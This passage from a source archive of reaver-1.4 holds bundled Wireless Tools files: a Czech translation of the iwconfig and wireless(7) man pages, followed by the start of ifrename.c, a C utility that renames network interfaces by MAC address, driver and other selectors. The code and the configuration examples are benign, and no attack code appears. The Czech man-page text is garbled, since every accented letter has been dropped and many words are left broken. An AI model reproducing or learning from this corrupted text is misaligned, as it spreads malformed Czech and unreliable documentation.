XXXX-XXXX-XXXX-XXXX " nebo " XXXXXXXX . Pro nastaven jinho ne aktulnho kle pidejte ped nebo za vlastn kl .I [index] (tm se nezmn aktuln kl). Je tak mon zadat kl jako etzec ASCII znak pomoc pedpony .I s: . Passphrase nen v souasnosti podporovan. .br Pro uren, kter kl m bt aktivn, se vlo .I [index] (bez zadn hodnoty kle). .br .IR off " a " on Vypnou a znovu zapnou ifrovn. .br Bezpenostn reim me bt .I open (oteven) nebo .IR restricted , (uzaven) a jeho vznam zvis na pouit kart. Vtina karet nepouv v .I open (otevenm) reimu dnou autentizaci a karta me tak pijmat nezaifrovan relace, zatmco v .I restricted (uzavenm) reimu jsou akceptovny pouze zaifrovan relace a karta pouije autentizaci, pokud je k dispozici. .br Pokud je teba nastavit vce kl, nebo nastavit kl a urit aktivn kl, je nutn pout vce pepna .B key . Parametry mohou bt v jakmkoliv poad, posledn m pednost. .br .B Pklady: .br .I " iwconfig eth0 key 0123-4567-89" .br .I " iwconfig eth0 key [3] 0123-4567-89" .br .I " iwconfig eth0 key s:password [2]" .br .I " iwconfig eth0 key [2]" .br .I " iwconfig eth0 key open" .br .I " iwconfig eth0 key off" .br .I " iwconfig eth0 key restricted [3] 0123456789" .br .I " iwconfig eth0 key 01-23 key 45-67 [4] key [4]" .TP .BR power Nastavuje reim zen spoteby a jeho parametry. .br Pro nastaven asu mezi probuzenmi se vlo .IR "period `hodnota'" . Pro nastaven prodlevy ped nvratem do spnku se vlo .IR "timeout `hodnota'" . Je tak mon pidat modifiktory .IR min " a " max . Hodnoty znamenaj poet sekund, pro uren v milisekundch nebo mikrosekundch se pouije ppona m nebo u. Nkdy jsou tyto hodnoty bez jednotek (poet obdob mezi beacons a podobn). .br .IR off " a " on vypne a novu zapne zen spoteby. Je tak mon nastavit reim zen spoteby na .I all (pijm vechny pakety), .I unicast (pijm pouze unicast pakety, zahazuje multicast a broadcast) a .I multicast (pijm pouze multicast a broadcast, zahazuje unicast pakety). .br .B Pklady: .br .I " iwconfig eth0 power period 2" .br .I " iwconfig eth0 power 500m unicast" .br .I " iwconfig eth0 power timeout 300u all" .br .I " iwconfig eth0 power off" .br .I " iwconfig eth0 power min period 2 power max period 4" .TP .BR txpower U karet podporujcch rozdln vyslac vkony nastavuje vyslac vkon v dBm. Je-li dn vkon .I W ve Wattech, je vkon v dBm roven .IR "P = 30 + 10.log(W)" . Pokud je hodnota doplnna pponou .IR mW , je automaticky pevedena na dBm. .br Navc volby .IR on " a " off povol a zakou vysln, .IR auto " a " fixed povol a zakou monost mnit vkon (pokud je tato vlastnost k dispozici). .br .B Pklady: .br .I " iwconfig eth0 txpower 15" .br .I " iwconfig eth0 txpower 30mW" .br .I " iwconfig eth0 txpower auto" .br .I " iwconfig eth0 txpower off" .TP .BR retry Vtina karet um MAC retransmisi a nkter umouj nastavit chovn tohoto mechanismu. .br pro nastaven maximlnho potu pokus o zasln se zad .IR "limit `hodnota'" . Toto je absolutn hodnota (bez jednotky). Pro nastaven nejdelho obdob, ve kterm se m MAC pokouet o zasln, se zad .IR "lifetime `hodnota'" . Hodnoty znamenaj poet sekund, pro uren v milisekundch nebo mikrosekundch se pouije ppona m nebo u. .br je tak mon pidat modifiktory .IR min " a " max . Pokud karta podporuje automatick reim, uruj tyto modifiktory rozmez pro limit nebo lifetime. Nkter karty definuj rzn hodnoty v zvislosti na velikosti paket, nap. v 802.11 uruje .I min limit tzv. "short retry limit" - limit pro pakety, na kter nen aplikovno RTS/CTS. .br .B Pklady: .br .I " iwconfig eth0 retry 16" .br .I " iwconfig eth0 retry lifetime 300m" .br .I " iwconfig eth0 retry min limit 8" .TP .BR commit Nkter karty nemus provst zmny zadan pes Wireless Extensions okamit (mohou ekat na nashromdn zmn a pijmout je a kdy je karta aktivovna pomoc ifconfig). Tento pkaz (pokud je dostupn) pinut kartu k pijet vech nevyzench zmn. .br To nen vtinou poteba, protoe karta asem zmny pijme, ale me to bt uiten pi ladn. .\" .\" DISPLAY part .\" .SH ZOBRAZEN Pro kad zazen, kter podporuje wireless extensions, zobraz .I iwconfig nzev pouitho .B MAC protokolu (nzev zazen u proprietrnch protokol), .B ESSID (Network Name), .BR NWID , .B frekvenci (nebo kanl), .BR sensitivity (citlivost), .B mode (pracovn reim), .B Access Point (adresu pstupovho bodu), .B bit-rate (penosovou rychlost), .BR "RTS threshold" (prh RTS), .BR "fragmentation threshold" (prh fragmentace), .B encryption key (ifrovac kl) a nastaven .B power management (zen spoteby)(pokud je k dispozici). .PP Zobrazen parametry maj stejn vznam a hodnoty jako parametry, kter mohou bt nastaveny, pro jejich podrobnj vysvtlen se prosm obrate se na pedchoz st. .br Nkter parametry jsou zobrazeny pouze ve sv krtk/zkrcen podob (nap. ifrovn). Je mon pout .IR iwlist (8) k zskn detail. .br Nkter parametry maj dva reimy (nap. penosov rychlost). Pokud hodnotu uvozuje .RB ` = ', znamen to, e parametr je pevn a dan touto hodnotou, pokud ji uvozuje .RB ` : ', je parametr v automatickm reimu a je zobrazena aktuln hodnota (a me se zmnit). .TP .BR "Access Point" / Cell Adresa rovn 00:00:00:00:00:00 znamen, e se karta nedokzala asociovat s pstupovm bodem (nejspe problm v nastaven). Parametr .B Access Point bude zobrazen jako .B Cell v reimu ad-hoc (ze zejmch dvod), ale jinak znamen to sam. .PP Pokud existuje .IR "/proc/net/wireless" , .I iwconfig se tak pokus zobrazit jeho obsah. Nicmn tyto hodnoty zvis na ovladai a zvltnostech hardware, take pro jejich sprvnou interpretaci je nutn obrtit se na dokumentaci ovladae. .TP .B Link quality Celkov kvalita spoje. Me bt zaloena na rovni ruen i interference, potu chyb na rovni bit nebo rmc, sle pijmanho signlu, synchronizaci asovn nebo dalch hardwarovch mench. Je to celkov hodnota a zcela zle na ovladai a hardware. .TP .B Signal level Received signal strength (RSSI - indiktor sly pijmanho signlu). Me bt v libovolnch jednotkch nebo dBm, .I iwconfig pouv informace z ovladae k interpretaci surovch dat v .I /proc/net/wireless a zobrazen sprvn jednotky nebo maximln hodnoty (pomoc 8 bitovch vpot). V .I Ad-Hoc reimu me bt nedefinovan a ml by bt pouit .IR iwspy . .TP .B Noise level rove umu pozad (kdy nen penen dn paket). Plat stejn poznmky jako pro .BR "Signal level" . .TP .B Rx invalid nwid Poet pijatch paket s odlinm NWID nebo ESSID. Pouv se k detekci problm v nastaven nebo existence sousedn st (na stejn frekvuenci). .TP .B Rx invalid crypt Poet paket, kter hardware nedokzal deifrovat. Me indikovat neplatn nastaven ifrovn. .TP .B Rx invalid frag Poet paket, pro kter hardware nedokzal sprvn znovu sestavit jednotliv fragmenty na fyzick vrstv (nejspe jeden chybl). .TP .B Tx excessive retries Poet paket, kter hardware nedokzal odeslat. Vtina MAC protokol zkus poslat paket nkolikrt, ne to vzd. .TP .B Invalid misc Ostatn pakety ztracen v souvislosti s uritmi bezdrtovmi operacemi. .TP .B Missed beacon Poet pravidelnch beacons z buky nebo pstupovho bodu, kter nebyly zachyceny. Beacons jsou vyslny v pravidelnch intervalech pro udren koordinace a pokud nejsou zachyceny, vtinou to znamen, e je karta mimo dosah. .\" .\" AUTHOR part .\" .SH AUTOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" FILES part .\" .SH SOUBORY .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR ifconfig (8), .BR iwspy (8), .BR iwlist (8), .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/cs/wireless.70000755000175000017500000000502411705505257016117 0ustar reaverreaver.\" Jean Tourrilhes - HPL - 2002 - 2004 .\" wireless.7 .\" .TH WIRELESS 7 "4.duben 2004" "wireless-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO wireless \- Wireless Tools a Wireless Extensions .\" .\" SYNOPSIS part .\" .SH SYNTAXE .B iwconfig .br .B iwpriv \-a .br .\" .\" DESCRIPTION part .\" .SH POPIS .B Wireless Extensions jsou API, kter umouj manipulovat s bezdrtovmi sovmi rozhranmi. Skldaj se ze souboru nstroj a konfiguranch soubor. Podrobnji jsou popsny v Linux Wireless LAN Howto. .br .B Wireless Tools se pouvaj ke zmn konfigurace bezdrtovch sovch rozhran za bhu, k zskn jejich aktuln konfigurace, statistik a diagnostice. Popisuj je jejich vlastn manulov strnky, viz odkazy ne. .br .B Nastaven bezdrtovho pipojen se v kad distribuci linuxu li. Tato manulov strnka bude obsahovat postup nastaven pro nkolik bnch distribuc. Prozatm se podvejte do souboru DISTRIBUTIONS.txt, kter je soust balku Wireless Tools. .\" .\" DEBIAN 3.0 part .\" .SH DEBIAN 3.0 V Debianu 3.0 (a vym) je mon nastavit bezdrtov sov zazen nstrojem pro nastaven st .BR ifupdown (8). .TP .B Soubor: .I /etc/network/interfaces .TP .B Forma: .RI wireless\- " " .br wireless\-essid Home .br wireless\-mode Ad\-Hoc .TP .B Dal informace: .I /etc/network/if\-pre\-up.d/wireless\-tools .br .I /usr/share/doc/wireless\-tools/README.Debian .\" .\" SuSE 8.0 part .\" .SH SuSE 8.0 SuSE 8.0 (a vy) integrovalo nastaven bezdrtovho pipojen do svch sovch skript. .TP .B Nstroj: .B Yast2 .TP .B Soubor: .I /etc/sysconfig/network/wireless .br .I /etc/sysconfig/network/ifcfg\-* .TP .B Forma: .RI WIRELESS_ "" = "" .br WIRELESS_ESSID="Home" .br WIRELESS_MODE=Ad\-Hoc .TP .B Dal informace: man ifup .br info scpm .\" .\" PCMCIA part .\" .SH PVODN PCMCIA SKRIPTY Pokud pouvte pvodn konfiguran skripty z balku Pcmcia, Mete pout tuto metodu. .TP .B Soubor: .I /etc/pcmcia/wireless.opts .TP .B Forma: *,*,*,*) .br ESSID="Home" .br MODE="Ad-Hoc" .br ;; .TP .B Dal informace: .I /etc/pcmcia/wireless .br Soubor .IR "PCMCIA.txt" , kter je soust balku Wireless Tools .\" .\" AUTHOR part .\" .SH AUTOR Jean Tourrilhes \- jt@hpl.hp.com .br .I http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ .\" .\" TRANSLATION part .\" .SH PEKLAD Pavel Heimlich \- tropikhajma@seznam.cz, bezen 2005 (wireless_tools.28pre4). .\" .\" SEE ALSO part .\" .SH DAL INFORMACE .BR iwconfig (8), .BR iwlist (8), .BR iwspy (8), .BR iwpriv (8), .BR iwevent (8). reaver-1.4/src/lwe/ifrename.c0000755000175000017500000021227311705505257015525 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPL 04 -> 07 * * Main code for "ifrename". This is tool allows to rename network * interfaces based on various criteria (not only wireless). * You need to link this code against "iwlib.c" and "-lm". * * This file is released under the GPL license. * Copyright (c) 2007 Jean Tourrilhes */ /* * The changelog for ifrename is in the file CHANGELOG.h ;-) * * This work is a nearly complete rewrite of 'nameif.c'. * Original CopyRight of version of 'nameif' I used is : * ------------------------------------------------------- * Name Interfaces based on MAC address. * Writen 2000 by Andi Kleen. * Subject to the Gnu Public License, version 2. * TODO: make it support token ring etc. * $Id: nameif.c,v 1.3 2003/03/06 23:26:52 ecki Exp $ * ------------------------------------------------------- * * It started with a series of patches to nameif which never made * into the regular version, and had some architecural 'issues' with * those patches, which is the reason of this rewrite. * Difference with standard 'nameif' : * o 'nameif' has only a single selector, the interface MAC address. * o Modular selector architecture, easily add new selectors. * o Wide range of selector, including sysfs and sysfs symlinks... * o hotplug invocation support. * o module loading support. * o MAC address wildcard. * o Interface name wildcard ('eth*' or 'wlan*'). * o Non-Ethernet MAC addresses (any size, not just 48 bits) */ /***************************** INCLUDES *****************************/ /* This is needed to enable GNU extensions such as getline & FNM_CASEFOLD */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include /* getopt_long() */ #include /* SIOCSIFNAME */ #include /* fnmatch() */ //#include #include "iwlib.h" /* Wireless Tools library */ // This would be cool, unfortunately... //#include /* Ethtool stuff -> struct ethtool_drvinfo */ /************************ CONSTANTS & MACROS ************************/ /* Our default configuration file */ const char DEFAULT_CONF[] = "/etc/iftab"; /* Debian stuff */ const char DEBIAN_CONFIG_FILE[] = "/etc/network/interfaces"; /* Backward compatibility */ #ifndef ifr_newname #define ifr_newname ifr_ifru.ifru_slave #endif /* Types of selector we support. Must match selector_list */ const int SELECT_MAC = 0; /* Select by MAC address */ const int SELECT_ETHADDR = 1; /* Select by MAC address */ const int SELECT_ARP = 2; /* Select by ARP type */ const int SELECT_LINKTYPE = 3; /* Select by ARP type */ const int SELECT_DRIVER = 4; /* Select by Driver name */ const int SELECT_BUSINFO = 5; /* Select by Bus-Info */ const int SELECT_FIRMWARE = 6; /* Select by Firmware revision */ const int SELECT_BASEADDR = 7; /* Select by HW Base Address */ const int SELECT_IRQ = 8; /* Select by HW Irq line */ const int SELECT_INTERRUPT = 9; /* Select by HW Irq line */ const int SELECT_IWPROTO = 10; /* Select by Wireless Protocol */ const int SELECT_PCMCIASLOT = 11; /* Select by Pcmcia Slot */ const int SELECT_SYSFS = 12; /* Select by sysfs file */ const int SELECT_PREVNAME = 13; /* Select by previous interface name */ #define SELECT_NUM 14 #define HAS_MAC_EXACT 1 #define HAS_MAC_FILTER 2 #define MAX_MAC_LEN 16 /* Maximum lenght of MAC address */ const struct ether_addr zero_mac = {{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}; const struct option long_opt[] = { {"config-file", 1, NULL, 'c' }, {"debian", 0, NULL, 'd' }, {"dry-run", 0, NULL, 'D' }, {"help", 0, NULL, '?' }, {"interface", 1, NULL, 'i' }, {"newname", 1, NULL, 'n' }, {"takeover", 0, NULL, 't' }, {"udev", 0, NULL, 'u' }, {"version", 0, NULL, 'v' }, {"verbose", 0, NULL, 'V' }, {NULL, 0, NULL, '\0' }, }; /* Pcmcia stab files */ #define PCMCIA_STAB1 "/var/lib/pcmcia/stab" #define PCMCIA_STAB2 "/var/run/stab" /* Max number of sysfs file types we support */ #define SYSFS_MAX_FILE 8 /* Userspace headers lag, fix that... */ #ifndef ARPHRD_IEEE1394 #define ARPHRD_IEEE1394 24 #endif #ifndef ARPHRD_EUI64 #define ARPHRD_EUI64 27 #endif #ifndef ARPHRD_IRDA #define ARPHRD_IRDA 783 #endif /* Length of various non-standard MAC addresses */ const int weird_mac_len[][2] = { { ARPHRD_IEEE1394, 8 }, { ARPHRD_EUI64, 8 }, { ARPHRD_IRDA, 4 }, }; const int weird_mac_len_num = sizeof(weird_mac_len) / sizeof(weird_mac_len[0]); /****************************** TYPES ******************************/ /* Cut'n'paste from ethtool.h */ #define ETHTOOL_BUSINFO_LEN 32 /* these strings are set to whatever the driver author decides... */ struct ethtool_drvinfo { __u32 cmd; char driver[32]; /* driver short name, "tulip", "eepro100" */ char version[32]; /* driver version string */ char fw_version[32]; /* firmware version string, if applicable */ char bus_info[ETHTOOL_BUSINFO_LEN]; /* Bus info for this IF. */ /* For PCI devices, use pci_dev->slot_name. */ char reserved1[32]; char reserved2[16]; __u32 n_stats; /* number of u64's from ETHTOOL_GSTATS */ __u32 testinfo_len; __u32 eedump_len; /* Size of data from ETHTOOL_GEEPROM (bytes) */ __u32 regdump_len; /* Size of data from ETHTOOL_GREGS (bytes) */ }; #define ETHTOOL_GDRVINFO 0x00000003 /* Get driver info. */ /* Description of an interface mapping */ typedef struct if_mapping { /* Linked list */ struct if_mapping * next; /* Name of this interface */ char ifname[IFNAMSIZ+1]; char * sysfs_devpath; int sysfs_devplen; /* Selectors for this interface */ int active[SELECT_NUM]; /* Selectors active */ /* Selector data */ unsigned char mac[MAX_MAC_LEN]; /* Exact MAC address, hex */ int mac_len; /* Length (usually 6) */ char mac_filter[16*3 + 1]; /* WildCard, ascii */ unsigned short hw_type; /* Link/ARP type */ char driver[32]; /* driver short name */ char bus_info[ETHTOOL_BUSINFO_LEN]; /* Bus info for this IF. */ char fw_version[32]; /* Firmware revision */ unsigned short base_addr; /* HW Base I/O address */ unsigned char irq; /* HW irq line */ char iwproto[IFNAMSIZ + 1]; /* Wireless/protocol name */ int pcmcia_slot; /* Pcmcia slot */ char * sysfs[SYSFS_MAX_FILE]; /* sysfs selectors */ char prevname[IFNAMSIZ+1]; /* previous interface name */ } if_mapping; /* Extra parsing information when adding a mapping */ typedef struct add_extra { char * modif_pos; /* Descriptor modifier */ size_t modif_len; } parsing_extra; /* Prototype for adding a selector to a mapping. Return -1 if invalid value. */ typedef int (*mapping_add)(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); /* Prototype for comparing the selector of two mapping. Return 0 if matches. */ typedef int (*mapping_cmp)(struct if_mapping * ifnode, struct if_mapping * target); /* Prototype for extracting selector value from live interface */ typedef int (*mapping_get)(int skfd, const char * ifname, struct if_mapping * target, int flag); /* How to handle a selector */ typedef struct mapping_selector { char * name; mapping_add add_fn; mapping_cmp cmp_fn; mapping_get get_fn; } mapping_selector; /* sysfs global data */ typedef struct sysfs_metadata { char * root; /* Root of the sysfs */ int rlen; /* Size of it */ int filenum; /* Number of files */ char * filename[SYSFS_MAX_FILE]; /* Name of files */ } sysfs_metadata; /**************************** PROTOTYPES ****************************/ static int mapping_addmac(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpmac(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getmac(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_addarp(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmparp(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getarp(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_adddriver(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpdriver(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_addbusinfo(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpbusinfo(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_addfirmware(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpfirmware(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getdriverbusinfo(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_addbaseaddr(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpbaseaddr(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_addirq(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpirq(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getbaseaddrirq(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_addiwproto(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpiwproto(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getiwproto(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_addpcmciaslot(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmppcmciaslot(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getpcmciaslot(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_addsysfs(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpsysfs(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getsysfs(int skfd, const char * ifname, struct if_mapping * target, int flag); static int mapping_addprevname(struct if_mapping * ifnode, int * active, char * pos, size_t len, struct add_extra * extra, int linenum); static int mapping_cmpprevname(struct if_mapping * ifnode, struct if_mapping * target); static int mapping_getprevname(int skfd, const char * ifname, struct if_mapping * target, int flag); /**************************** VARIABLES ****************************/ /* List of mapping read for config file */ struct if_mapping * mapping_list = NULL; /* List of selectors we can handle */ const struct mapping_selector selector_list[] = { /* MAC address and ARP/Link type from ifconfig */ { "mac", &mapping_addmac, &mapping_cmpmac, &mapping_getmac }, { "ethaddr", &mapping_addmac, &mapping_cmpmac, &mapping_getmac }, { "arp", &mapping_addarp, &mapping_cmparp, &mapping_getarp }, { "linktype", &mapping_addarp, &mapping_cmparp, &mapping_getarp }, /* Driver name, Bus-Info and firmware rev from ethtool -i */ { "driver", &mapping_adddriver, &mapping_cmpdriver, &mapping_getdriverbusinfo }, { "businfo", &mapping_addbusinfo, &mapping_cmpbusinfo, &mapping_getdriverbusinfo }, { "firmware", &mapping_addfirmware, &mapping_cmpfirmware, &mapping_getdriverbusinfo }, /* Base Address and IRQ from ifconfig */ { "baseaddress", &mapping_addbaseaddr, &mapping_cmpbaseaddr, &mapping_getbaseaddrirq }, { "irq", &mapping_addirq, &mapping_cmpirq, &mapping_getbaseaddrirq }, { "interrupt", &mapping_addirq, &mapping_cmpirq, &mapping_getbaseaddrirq }, /* Wireless Protocol from iwconfig */ { "iwproto", &mapping_addiwproto, &mapping_cmpiwproto, &mapping_getiwproto }, /* Pcmcia slot from cardmgr */ { "pcmciaslot", &mapping_addpcmciaslot, &mapping_cmppcmciaslot, &mapping_getpcmciaslot }, /* sysfs file (udev emulation) */ { "sysfs", &mapping_addsysfs, &mapping_cmpsysfs, &mapping_getsysfs }, /* previous interface name */ { "prevname", &mapping_addprevname, &mapping_cmpprevname, &mapping_getprevname }, /* The Terminator */ { NULL, NULL, NULL, NULL }, }; const int selector_num = sizeof(selector_list)/sizeof(selector_list[0]); /* List of active selectors */ int selector_active[SELECT_NUM]; /* Selectors active */ /* * All the following flags are controlled by the command line switches... * It's a bit hackish to have them all as global, so maybe we should pass * them in a big struct as function arguments... More complex and * probably not worth it ? */ /* Invocation type */ int print_newname = 0; char * new_name = NULL; /* Takeover support */ int force_takeover = 0; /* Takeover name from other interface */ int num_takeover = 0; /* Number of takeover done */ /* Dry-run support */ int dry_run = 0; /* Just print new name, don't rename */ /* Verbose support (i.e. debugging) */ int verbose = 0; /* udev output support (print new DEVPATH) */ int udev_output = 0; /* sysfs global data */ struct sysfs_metadata sysfs_global = { NULL, 0, 0, { NULL, NULL, NULL, NULL, NULL }, }; /******************** INTERFACE NAME MANAGEMENT ********************/ /* * Bunch of low level function for managing interface names. */ /*------------------------------------------------------------------*/ /* * Compare two interface names, with wildcards. * We can't use fnmatch() because we don't want expansion of '[...]' * expressions, '\' sequences and matching of '.'. * We only want to match a single '*' (converted to a %d at that point) * to a numerical value (no ascii). * Return 0 is matches. */ static int if_match_ifname(const char * pattern, const char * value) { const char * p; const char * v; int n; int ret; /* Check for a wildcard */ p = strchr(pattern, '*'); /* No wildcard, simple comparison */ if(p == NULL) return(strcmp(pattern, value)); /* Check is prefixes match */ n = (p - pattern); ret = strncmp(pattern, value, n); if(ret) return(ret); /* Check that value has some digits at this point */ v = value + n; if(!isdigit(*v)) return(-1); /* Skip digits to go to value suffix */ do v++; while(isdigit(*v)); /* Pattern suffix */ p += 1; /* Compare suffixes */ return(strcmp(p, v)); } /*------------------------------------------------------------------*/ /* * Steal interface name from another interface. This enable interface * name swapping. * This will work : * 1) with kernel 2.6.X * 2) if other interface is down * Because of (2), it won't work with hotplug, but we don't need it * with hotplug, only with static ifaces... */ static int if_takeover_name(int skfd, const char * victimname) { char autoname[IFNAMSIZ+1]; int len; struct ifreq ifr; int ret; /* Compute name for victim interface */ len = strlen(victimname); memcpy(autoname, victimname, len + 1); if(len > (IFNAMSIZ - 2)) len = IFNAMSIZ - 2; /* Make sure we have at least two char */ len--; /* Convert to index */ while(isdigit(autoname[len])) len--; /* Scrap all trailing digits */ strcpy(autoname + len + 1, "%d"); if(verbose) fprintf(stderr, "Takeover : moving interface `%s' to `%s'.\n", victimname, autoname); /* Prepare request */ bzero(&ifr, sizeof(struct ifreq)); strncpy(ifr.ifr_name, victimname, IFNAMSIZ); strncpy(ifr.ifr_newname, autoname, IFNAMSIZ); /* Rename victim interface */ ret = ioctl(skfd, SIOCSIFNAME, &ifr); if(!ret) num_takeover++; return(ret); } /*------------------------------------------------------------------*/ /* * Ask the kernel to change the name of an interface. * That's what we want to do. All the rest is to make sure we call this * appropriately. */ static int if_set_name(int skfd, const char * oldname, const char * newname, char * retname) { struct ifreq ifr; char * star; int ret; /* The kernel doesn't check is the interface already has the correct * name and may return an error, so check ourselves. * In the case of wildcard, the result can be weird : if oldname='eth0' * and newname='eth*', retname would be 'eth1'. * So, if the oldname value matches the newname pattern, just return * success. */ if(!if_match_ifname(newname, oldname)) { if(verbose) fprintf(stderr, "Setting : Interface `%s' already matches `%s'.\n", oldname, newname); strcpy(retname, oldname); return(0); } /* Prepare request */ bzero(&ifr, sizeof(struct ifreq)); strncpy(ifr.ifr_name, oldname, IFNAMSIZ); strncpy(ifr.ifr_newname, newname, IFNAMSIZ); /* Check for wildcard interface name, such as 'eth*' or 'wlan*'... * This require specific kernel support (2.6.2-rc1 and later). * We externally use '*', but the kernel doesn't know about that, * so convert it to something it knows about... */ star = strchr(newname, '*'); if(star != NULL) { int slen = star - newname; /* Replace '*' with '%d' in the new buffer */ star = ifr.ifr_newname + slen; /* Size was checked in process_rename() and mapping_create() */ memmove(star + 2, star + 1, IFNAMSIZ - slen - 2); star[0] = '%'; star[1] = 'd'; } /* Do it */ ret = ioctl(skfd, SIOCSIFNAME, &ifr); /* Takeover support : grab interface name from another interface */ if(ret && (errno == EEXIST) && force_takeover) { /* Push things around */ ret = if_takeover_name(skfd, newname); if(!ret) /* Second try */ ret = ioctl(skfd, SIOCSIFNAME, &ifr); } if(!ret) { /* Get the real new name (in case newname is a wildcard) */ strcpy(retname, ifr.ifr_newname); if(verbose) fprintf(stderr, "Setting : Interface `%s' renamed to `%s'.\n", oldname, retname); } return(ret); } /************************ SELECTOR HANDLING ************************/ /* * Handle the various selector we support */ /*------------------------------------------------------------------*/ /* * Add a MAC address selector to a mapping */ static int mapping_addmac(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { size_t n; /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string */ if(len >= sizeof(ifnode->mac_filter)) { fprintf(stderr, "Error : MAC address too long at line %d\n", linenum); return(-1); } n = strspn(string, "0123456789ABCDEFabcdef:*"); if(n < len) { fprintf(stderr, "Error: Invalid MAC address `%s' at line %d\n", string, linenum); return(-1); } /* Copy as filter in all cases */ memcpy(ifnode->mac_filter, string, len + 1); /* Check the type of MAC address */ if (strchr(ifnode->mac_filter, '*') != NULL) { /* This is a wilcard. Usual format : "01:23:45:*" * Unfortunately, we can't do proper parsing. */ ifnode->active[SELECT_MAC] = HAS_MAC_FILTER; active[SELECT_MAC] = HAS_MAC_FILTER; } else { /* Not a wildcard : "01:23:45:67:89:AB" */ ifnode->mac_len = iw_mac_aton(ifnode->mac_filter, ifnode->mac, MAX_MAC_LEN); if(ifnode->mac_len == 0) { fprintf(stderr, "Error: Invalid MAC address `%s' at line %d\n", ifnode->mac_filter, linenum); return(-1); } /* Check that it's not NULL */ if((ifnode->mac_len == 6) && (!memcmp(&ifnode->mac, &zero_mac, 6))) { fprintf(stderr, "Warning: MAC address is null at line %d, this is dangerous...\n", linenum); } ifnode->active[SELECT_MAC] = HAS_MAC_EXACT; if(active[SELECT_MAC] == 0) active[SELECT_MAC] = HAS_MAC_EXACT; } if(verbose) fprintf(stderr, "Parsing : Added %s MAC address `%s' from line %d.\n", ifnode->active[SELECT_MAC] == HAS_MAC_FILTER ? "filter" : "exact", ifnode->mac_filter, linenum); return(0); } /*------------------------------------------------------------------*/ /* * Compare the mac address of two mappings */ static int mapping_cmpmac(struct if_mapping * ifnode, struct if_mapping * target) { /* Check for wildcard matching */ if(ifnode->active[SELECT_MAC] == HAS_MAC_FILTER) /* Do wildcard matching, case insensitive */ return(fnmatch(ifnode->mac_filter, target->mac_filter, FNM_CASEFOLD)); else /* Exact matching, in hex */ return((ifnode->mac_len != target->mac_len) || memcmp(ifnode->mac, target->mac, ifnode->mac_len)); } /*------------------------------------------------------------------*/ /* * Extract the MAC address and Link Type of an interface */ static int mapping_getmac(int skfd, const char * ifname, struct if_mapping * target, int flag) { struct ifreq ifr; int ret; int i; /* Get MAC address */ bzero(&ifr, sizeof(struct ifreq)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); ret = ioctl(skfd, SIOCGIFHWADDR, &ifr); if(ret < 0) { fprintf(stderr, "Error: Can't read MAC address on interface `%s' : %s\n", ifname, strerror(errno)); return(-1); } /* Extract ARP type */ target->hw_type = ifr.ifr_hwaddr.sa_family; /* Calculate address length */ target->mac_len = 6; for(i = 0; i < weird_mac_len_num; i++) if(weird_mac_len[i][0] == ifr.ifr_hwaddr.sa_family) { target->mac_len = weird_mac_len[i][1]; break; } /* Extract MAC address bytes */ memcpy(target->mac, ifr.ifr_hwaddr.sa_data, target->mac_len); /* Check the type of comparison */ if((flag == HAS_MAC_FILTER) || verbose) { /* Convert to ASCII */ iw_mac_ntop(target->mac, target->mac_len, target->mac_filter, sizeof(target->mac_filter)); } target->active[SELECT_MAC] = flag; target->active[SELECT_ARP] = 1; if(verbose) fprintf(stderr, "Querying %s : Got MAC address `%s' and ARP/Link Type `%d'.\n", ifname, target->mac_filter, target->hw_type); return(0); } /*------------------------------------------------------------------*/ /* * Add a ARP/Link type selector to a mapping */ static int mapping_addarp(struct if_mapping * ifnode, int * active, char * string, size_t len, struct add_extra * extra, int linenum) { size_t n; unsigned int type; /* Avoid "Unused parameter" warning */ extra = extra; /* Verify validity of string, convert to int */ n = strspn(string, "0123456789"); if((n < len) || (sscanf(string, "%d", &type) != 1)) { fprintf(stderr, "Error: Invalid ARP/Link Type `%s' at line %d\n", string, linenum); return(-1); } ifnode->hw_type = (unsigned short) type; 